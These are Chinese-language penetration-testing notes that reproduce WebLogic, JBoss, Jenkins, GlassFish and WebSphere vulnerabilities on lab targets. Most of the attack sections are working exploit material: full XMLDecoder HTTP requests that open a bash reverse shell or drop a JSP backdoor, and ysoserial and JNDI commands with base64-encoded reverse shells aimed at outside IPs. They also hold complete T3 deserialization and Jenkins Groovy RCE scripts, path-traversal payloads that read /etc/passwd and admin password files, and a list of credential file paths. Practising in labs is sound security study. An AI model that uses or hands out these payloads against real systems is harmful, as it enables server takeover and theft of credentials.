      1. CVE-2014-4210,Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
    2. 影响版本
      1. weblogic 10.0.2
        weblogic 10.3.6
    3. 复现
      1. 无需登录直接访问uddiexplorer应用http://192.168.155.147:7001/uddiexplorer/

      2. 测试存在ssrf漏洞

        1. http://192.168.155.147:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001​可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type
        2. http://192.168.155.147:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7009​修改为一个不存在的端口,将会返回could not connect over HTTP to server
        3. 通过返回状态的不同可以进行内网的探测
  5. 反序列化漏洞

    1. 介绍
      1. WebLogic Server使用T3协议在WebLogic Server和客户端间传输数据和通信,由于WebLogic的T3协议和Web协议使用相同的端口,导致在默认情况下,WebLogic Server T3协议通信和Web端具有相同的访问权限。 易受攻击的WebLogic服务允许未经身份验证的攻击者通过T3网络访问及破坏Oracle WebLogic Server。此漏洞的成功攻击可能导致攻击者接管Oracle WebLogic Server,造成远程代码执行。
    2. XMLDecoder 反序列化漏洞(CVE-2017-10271)
      1. 介绍
        1. WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
        2. Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令
      2. 影响版本
        1. 10.3.6
      3. 复现
        1. 靶场

          1. vulhub weblogic/CVE-2017-10271
          2. 6,这个靶场两个g
        2. 访问7001,出现404页面即成功开启容器

        3. 经过工具检测存在无回显命令执行

        4. 直接捉包,将数据包改为以下反弹shell数据包即可

          1.    POST /wls-wsat/CoordinatorPortType HTTP/1.1
               Host: 192.168.155.147:7001
               Accept-Encoding: gzip, deflate
               Accept: */*
               Accept-Language: en
               User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
               Connection: close
               Content-Type: text/xml
               Content-Length: 633
            
               <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
               <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
               <java version="1.4.0" class="java.beans.XMLDecoder">
               <void class="java.lang.ProcessBuilder">
               <array class="java.lang.String" length="3">
               <void index="0">
               <string>/bin/bash</string>
               </void>
               <void index="1">
               <string>-c</string>
               </void>
               <void index="2">
               <string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
               </void>
               </array>
               <void method="start"/></void>
               </java>
               </work:WorkContext>
               </soapenv:Header>
               <soapenv:Body/>
               </soapenv:Envelope>
            
        5. 成功getshell

        6. 也可以直接上传war包拿到shell

          1.    POST /wls-wsat/CoordinatorPortType HTTP/1.1
               Host: 192.168.155.147:7001
               Accept-Encoding: gzip, deflate
               Accept: */*
               Accept-Language: en
               User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
               Connection: close
               Content-Type: text/xml
               Content-Length: 638
            
               <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
                   <soapenv:Header>
                   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                   <java><java version="1.4.0" class="java.beans.XMLDecoder">
                   <object class="java.io.PrintWriter"> 
                   <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
                   <void method="println"><string>
                   <![CDATA[
               <% out.print("test"); %>
                   ]]>
                   </string>
                   </void>
                   <void method="close"/>
                   </object></java></java>
                   </work:WorkContext>
                   </soapenv:Header>
                   <soapenv:Body/>
               </soapenv:Envelope>
            
          2. 访问后门地址http://your-ip:7001/bea_wls_internal/test.jsp
    3. T3反序列化(CVE-2018- 2628)
      1. 介绍
        1. Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
      2. 影响版本
        1. Weblogic 10.3.6.0
          Weblogic 12.1.3.0
          Weblogic 12.2.1.2
          Weblogic 12.2.1.3
      3. 复现
        1. 经过工具检测存在无回显命令执行

        2. 攻击者服务器启动JRMP服务,目的是为了让weblogic服务器远程调用

          1.    java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni42NC4xODQvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"
            
               #8888为开启JRMP服务的端口号  
               #Jdk7u21为机器的jdk版本  如果jdk版本>1.7,则直接填写Jdk7u21即可
            
        3. 生成目标服务器连接攻击者服务器的payload

          1. java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.96.64.184:8888 | xxd -p | tr -d $'\n' && echo
        4. 更改exp.py

          1.    poc.py
               #!/usr/bin/env python3
               #coding=utf-8
               # 
               # Created Time: Wed 19 Jul 2017 01:47:53 AM CST
               # 
               # FileName:     weblogic_poc.py
               # 
               # Description:  
               # 
               # ChangeLog: thanks iswin for the template
               # -*- coding: utf-8 -*-
               import socket
               import time
               import re
            
            
               VUL=['CVE-2018-2628']
               #remote ip:192.168.10.50
               PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707735000a556e6963617374526566000c34372e39362e36342e313834000022b8000000006f39285400000000000000000000000000000078']
            
               VER_SIG=['\\$Proxy[0-9]+']
            
               def t3handshake(sock,server_addr):
                   sock.connect(server_addr)
                   sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
                   time.sleep(1)
                   sock.recv(1024)
                   print('handshake successful')
            
               def buildT3RequestObject(sock,port):
                   data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
                   data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
                   data3 = '1a7727000d3234322e323134'
                   data4 = '2e312e32353461863d1d0000000078'
                   for d in [data1,data2,data3,data4]:
                       sock.send(bytes.fromhex(d))
                   time.sleep(2)
                   print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
            
            
               def sendEvilObjData(sock,data):
                   payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
                   payload+=data
                   payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
                   payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
                   sock.send(bytes.fromhex(payload))
                   time.sleep(2)
                   sock.send(bytes.fromhex(payload))
                   res = b''
                   try:
                       while True:
                           res += sock.recv(4096)
                           time.sleep(0.1)
                   except Exception as e:
                       pass
                   return res
            
               def checkVul(res,server_addr,index):
                   p=re.findall(VER_SIG[index], res.decode(), re.S)
                   if len(p)>0:
                       print('%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index]))
                   else:
                       print('%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
            
            
               def run(dip,dport,index):
                   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                   ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
                   sock.settimeout(15)
                   server_addr = (dip, dport)
                   t3handshake(sock,server_addr)
                   buildT3RequestObject(sock,dport)
                   rs=sendEvilObjData(sock,PAYLOAD[index])
                   print('rs',rs)
                   checkVul(rs,server_addr,index)
            
            
               if __name__=="__main__":
                   #dip = '218.1.102.99'
                   #dip = '10.65.46.125'
                   #dip = '192.168.3.216'
                   dip = '192.168.155.147'
                   dport = 7001
                   run(dip,7001,0)
               #    for i in range(0,len(VUL)):
               #        run(dip,dport,i)
            
          2. 将生成的payload替换下

          3. 再替换下漏洞服务器的ip及端口即可

        5. 启动监听nc -lvvp 5566​,执行脚本,成功反弹shell

    4. 二次反序列化CVE-2021-2394
      1. 介绍
        1. 攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。
        2. Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。
        3. RMI:Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
        4. T3协议:WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。服务器实例将跟踪所连接的每个 Java 虚拟机(Java Virtual Machine,简称 JVM),并创建单个 T3 连接以承担 JVM 的所有流量。
        5. 攻击过程:在自己主机中启动 JRMP Server服务并且开启监听,利用JRMP Client 生成一段payload payload中已经设置了攻击者服务器ip及JRMPListener监听的端口 ,利用漏洞exp脚本,将payload发送到有漏洞的weblogic服务器中 ,weblogic服务器接收到payload后,反序列化payload,去连接JRMP Server服务器,两者建立通讯,建立通讯后,JRMP Server服务会发送一段可执行命令的payload ,从而达到任意代码执行的操作
        6. 默认端口:7001
      2. 影响版本
        1. Oracle WebLogic Server 10.3.6.0.0
        2. Oracle WebLogic Server 12.1.3.0.0
        3. Oracle WebLogic Server 12.2.1.3.0
        4. Oracle WebLogic Server 12.2.1.4.0
        5. Oracle WebLogic Server 14.1.1.0.0
      3. 复现
        1. 靶场

          1. vulfocus/weblogic-cve_2021_2394
          2. 123.58.224.8:30534 30534:7001
        2. 服务端启动监听

          1.    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzkuMTg2LjgwLzU1NjYgMCA+JjE}{base64,-d}{bash,-i}" -A 43.139.186.80
            
        3. 触发监听

          1. payload:

            java -jar CVE_2021_2394.jar 123.58.224.8 30515 ldap://43.139.186.80:1389/ixa4cd
            
    5. 远程命令执行漏洞CVE-2023-21839
      1. 介绍
        1. WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
      2. 漏洞危害
        1. 攻击者成功利用此漏洞后攻击者可以接管WebLogic服务器,并执行任意命令。

          Weblogic T3/IIOP反序列化命令执行漏洞

          Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup(“xxxxxx”);。

          当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。

          weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

      3. 影响版本
        1. Weblogic 12.2.1.3.0
          Weblogic 12.2.1.4.0
          Weblogic 14.1.1.0.0
      4. 复现
        1. 靶场:

          1. vuihub
          2. 7000-》7001
        2. 直接访问控制台http://192.168.155.147:7000/console/

        3. 启动ldap服务

          1. 我一直在找JNDIExploit-1.3-SNAPSHOT.jar这个jar包,但是他的目的是启动ldap服务的,不知道能不能用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来代替启动,不是很懂
          2.    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni42NC4xODQvNTU2NiAwID4mMQ}{base64,-d}{bash,-i}" -A 47.96.64.184
            
        4. 利用工具也没有找到,那些工具在github好像都下架了,但是有一款go语言编写的项目,我自己就尝试用go语言进行打包使用,不知道反正总的下来复现并没有成功

          1. github地址:ASkyeye/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE) (github.com)
        5. 工具找到了,复现下,还是老样子,无语了

JBoss

  1. 介绍

    1. 通常漏洞端口1098,1099,4444,445,8080,8009,8083,8093
  2. 反序列化

    1. 自动化工具扫描
      1. 名称:jboss综合利用工具 by:小黑
    2. CVE-2017-12149
      1. 介绍
        1. 厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权
      2. 影响版本
        1. 5.x和6.x版本
      3. 复现
        1. 靶场

          1. /vulhub/jboss/CVE-2017-12149
        2. 访问首页,进入console

        3. 爆破弱口令的得到admin/vulhub

        4. 生成序列化数据的poc.ser文件

          1.    java -jar ysoserial-all.jar  CommonsCollections5 "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2Ig}|{base64,-d}|{bash,-i}" > poc.ser
               其中base64解码为echo "bash -i >& /dev/tcp/192.168.58.224/5566"
            
        5. 攻击者监听nc的5566端口nc -lvvp 5566

        6. 发送攻击载荷

          1. curl http://192.168.58.147:8080/invoker/readonly --data-binary @poc.ser
          2. 唉,可能是java版本的原因吧,能成就成吧,结束了
        7. 直接使用自动化工具

    3. jmx组件反序列化漏洞(CVE-2015-7501)
      1. 介绍
        1. JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
      2. 影响版本
        1. JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
          JBoss AS (Wildly) 6 and earlier
          JBoss A-MQ 6.2.0
          JBoss Fuse 6.2.0
          JBoss SOA Platform (SOA-P) 5.3.1
          JBoss Data Grid (JDG) 6.5.0
          JBoss BRMS (BRMS) 6.1.0
          JBoss BPMS (BPMS) 6.1.0
          JBoss Data Virtualization (JDV) 6.1.0
          JBoss Fuse Service Works (FSW) 6.0.0
          JBoss Enterprise Web Server (EWS) 2.1,3.0
      3. 复现
        1. 靶场

          1. /vulhub/jboss/JMXInvokerServlet-deserialization
          2. 8080->8080/tcp,9990->9990/tcp
        2. 直接访问http://192.168.155.147:8080/invoker/JMXInvokerServlet​有文件下载则存在该漏洞

        3. 直接上工具即可

    4. JMS反序列化漏洞(CVE-2017-7504)
      1. 介绍
        1. Red Hat JBoss Application Server(AS,也称WildFly)是美国红帽(Red Hat)公司的一款基于JavaEE的开源的应用服务器,它具有启动超快、轻量、模块化设计、热部署和并行部署、简洁管理、域管理及第一类元件等特性。 Red Hat Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
      2. 影响版本
        1. JBoss AS 4.x及之前版本
      3. 复现
        1. 靶场

          1. /vulhub/jboss/CVE-2017-7504
          2. 8080
        2. 直接访问http://192.168.155.147:8080/jbossmq-httpil/HTTPServerILServlet​出现以下页面则存在漏洞

        3. 直接上工具即可

Jenkins

  1. 介绍

    1. Jenkins 是一个广泛使用的开源自动化服务器,主要用于持续集成和持续交付(CI/CD)流程。它提供了一个灵活的平台,可以自动化各种任务,从简单的代码构建到复杂的部署流程。Jenkins 支持多种编程语言和框架,可以通过丰富的插件生态系统进行扩展,使其能够集成各种开发工具和服务。

      开发团队使用 Jenkins 来自动化软件开发的各个阶段,包括代码编译、测试执行、静态代码分析、部署和监控。它可以与版本控制系统(如 Git)集成,在代码变更时自动触发构建和测试流程。Jenkins 的可配置性强,支持分布式构建,能够处理大规模和复杂的项目。

      通过使用 Jenkins,团队可以显著提高开发效率,减少人为错误,加快产品发布周期,并提高软件质量。它已成为许多组织 DevOps 实践中不可或缺的工具。

  2. 远程代码执行

    1. CVE-2018-1000861
      1. 介绍
        1. Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

          通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

      2. 影响版本
        1. Jenkins主版本 <= 2.153
          Jenkins LTS版本 <= 2.138.3
      3. 复现
        1. 靶场

          1. vulhub jenkins/CVE-2018-1000861
        2. 页面显示

          1. 5000
          2. 8080
        3. 直接使用工具,读取任意文件

        4. 经工具测试存在无回显命令执行

        5. 构造反弹shell的payload

          1.    原始payload:
               bash -c {echo,bash -i >& /dev/tcp/192.168.58.224/5566 0>&1}|{base64,-d}|{bash,-i}
            
               经过base64加工后
               bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2IDA+JjE}|{base64,-d}|{bash,-i}
            
        6. 使用脚本反弹shell的payload

          1.    python 1.py http://192.168.58.147:8080 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2IDA+JjE}|{base64,-d}|{bash,-i}"
            
          2.    #!/usr/bin/python
               # coding: UTF-8
               # author: Orange Tsai(@orange_8361)
               # 
            
               import sys
               import requests
               from enum import Enum
            
               # remove bad SSL warnings
               try:
                   requests.packages.urllib3.disable_warnings()
               except:
                   pass
            
            
               endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
            
               class mode(Enum):
                   ACL_PATCHED = 0
                   NOT_JENKINS = 1
                   READ_ENABLE = 2
                   READ_BYPASS = 3
                   ENTRY_NOTFOUND = 999
            
               def usage():
                   print('''
                 Usage:
                   python exp.py <url> <cmd>
                   ''')
            
               def _log(msg, fail=False):
                   nb = '[*]'
                   if fail:
                       nb = '[-]'
                   print('%s %s' % (nb, msg))
            
               def _get(url, params=None):
                   r = requests.get(url, verify=False, params=params)
                   return r.status_code, r.content
            
               def _add_bypass(url):
                   return url + 'securityRealm/user/admin/'
            
               def check(url):
                   flag, accessible = mode.ACL_PATCHED, False
            
                   # check ANONYMOUS_READ
                   status, content = _get(url)
                   if status == 200 and b'adjuncts' in content:
                       flag, accessible = mode.READ_ENABLE, True
                       _log('ANONYMOUS_READ enable!')
                   elif status == 403:
                       _log('ANONYMOUS_READ disable!')
            
                       # check ACL bypass, CVE-2018-1000861
                       status, content = _get(_add_bypass(url))
                       if status == 200 and b'adjuncts' in content:
                           flag, accessible = mode.READ_BYPASS, True
                   else:
                       flag = mode.NOT_JENKINS
            
                   # check entry point, CVE-2019-1003005
                   if accessible:
                       if flag is mode.READ_BYPASS:
                           url = _add_bypass(url)
                       status, content = _get(url + endpoint)
            
                       if status == 404:
                           flag = mode.ENTRY_NOTFOUND
            
                   return flag
            
               def exploit(url, cmd):
                   payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('utf-8').hex()
                   params = {
                       'sandbox': True, 
                       'value': payload
                   }
            
                   status, content = _get(url + endpoint, params)
                   if status == 200:
                       _log('Exploit success!(it should be :P)')
                   elif status == 405:
                       _log('It seems Jenkins has patched the RCE gadget :(')
                   else:
                       _log('Exploit fail with HTTP status [%d]' % status, fail=True)
                       if b'stack trace' in content:
                           for _ in content.splitlines():
                               if _.startswith(b'Caused:'):
                                   _log(_.decode('utf-8'), fail=True)
            
               if __name__ == '__main__':
                   if len(sys.argv) != 3:
                       usage()
                       exit()
            
                   url = sys.argv[1].rstrip('/') + '/'
                   cmd = sys.argv[2]
            
                   flag = check(url)
                   if flag is mode.ACL_PATCHED:
                       _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
                   elif flag is mode.NOT_JENKINS:
                       _log('Is this Jenkins?', fail=True)
                   elif flag is mode.READ_ENABLE:
                       exploit(url, cmd)
                   elif flag is mode.READ_BYPASS:
                       _log('Bypass with CVE-2018-1000861!')
                       exploit(_add_bypass(url), cmd)
                   else:
                       _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)
            
    2. CVE-2017-1000353
      1. 介绍
        1. Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限

          该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。

      2. 影响版本
        1. 所有Jenkins主版本均受到影响(包括<=2.56版本)
        2. 所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
      3. 复现
        1. 靶场

          1. vulhub jenkins/CVE-2017-1000353
        2. 8080端口页面

        3. 生成序列化字符串 jenkins_poc.ser

          1.    java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuNjcuNC85ODk3IDA}|{base64,-d}|{bash,-i}"
            
        4. 发送载荷python exploit.py http://192.168.58.224:8080 jenkins_poc.ser​,成功监听

GlassFish

  1. 任意文件读取

    1. 介绍
      1. glassfish是一款java编写的跨平台的开源的应用服务器。2015年10月,被爆出通用任意文件读取漏洞。利用这个漏洞,攻击者可读取服务器上任意文件。
    2. 影响版本
      1. 影响版本:4.0至4.1
    3. 复现
      1. 靶场

        1. vulfocus glassfish-4.1.0 文件读取
        2. 123.58.224.8:30527 30527:4848
      2. 直接使用payload读取任意文件

        1.    linux服务器poc:
             /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
          
             window服务器poc:
             /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
          
      3. 敏感文件

        1.    linux敏感文件路径:
             /etc/issue 版本信息
             /var/spool/cron/crontabs/root 定时任务
             /etc/passwd 
             /root/.bash_history bash环境下的命令执行历史记录
             /root/.pgpass 记录连接postgressql服务器的密码
             /root/.psql_history potgressql客户端的执行的sql语句历史记录
          
             glassfish的敏感目录:
             domains/domain1/config/domain.xml 各种数据库密码位置
             domains/domain1/config/admin-keyfile 后台密码存储位置
          
      4. 获取后台密码

        1. https://123.58.224.8:30527/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile
      5. 得出是sha加密,利用一些在线解密平台解密即可

WebSphere

  1. 介绍

    1. WebSphere® Application Server 加速交付新应用程序和服务,它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的编程模型中进行选择,以便更好地协调项目需求与编程模型功能和开发人员技能。
    2. 端口:9080—web(htp)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP连接器端口等等。
      漏洞探测在8880端口,后台是9060端口,解析是9080端口
  2. 复现

    1. 靶场

      1. 直接使用命令搭建即可

        1. docker pull iscrosales/w·ebsphere7
        2. docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
    2. 反序列化漏洞(CVE-2015-7450)
      1. 影响版本
        1. IBM Websphere Application Server 7.0

          IBM Websphere Application Server 6.2

      2. 直接访问8880端口页面

      3. 直接删工具即可

    3. 弱口令-上传shell
      1. 影响版本
        1. 6.x至7.0版本都有“默认用户标识admin登录”
      2. 访问后台地址http://192.168.155.147:9060/ibm/console/unsecureLogon.jsp

      3. 上传war包

      4. 一直下一步,直到这里填写创建目录的地址

      5. 解析war包成功,点击保存到主配置中

        1. 启动war包,并启动连接哥斯拉

  • 18
    点赞
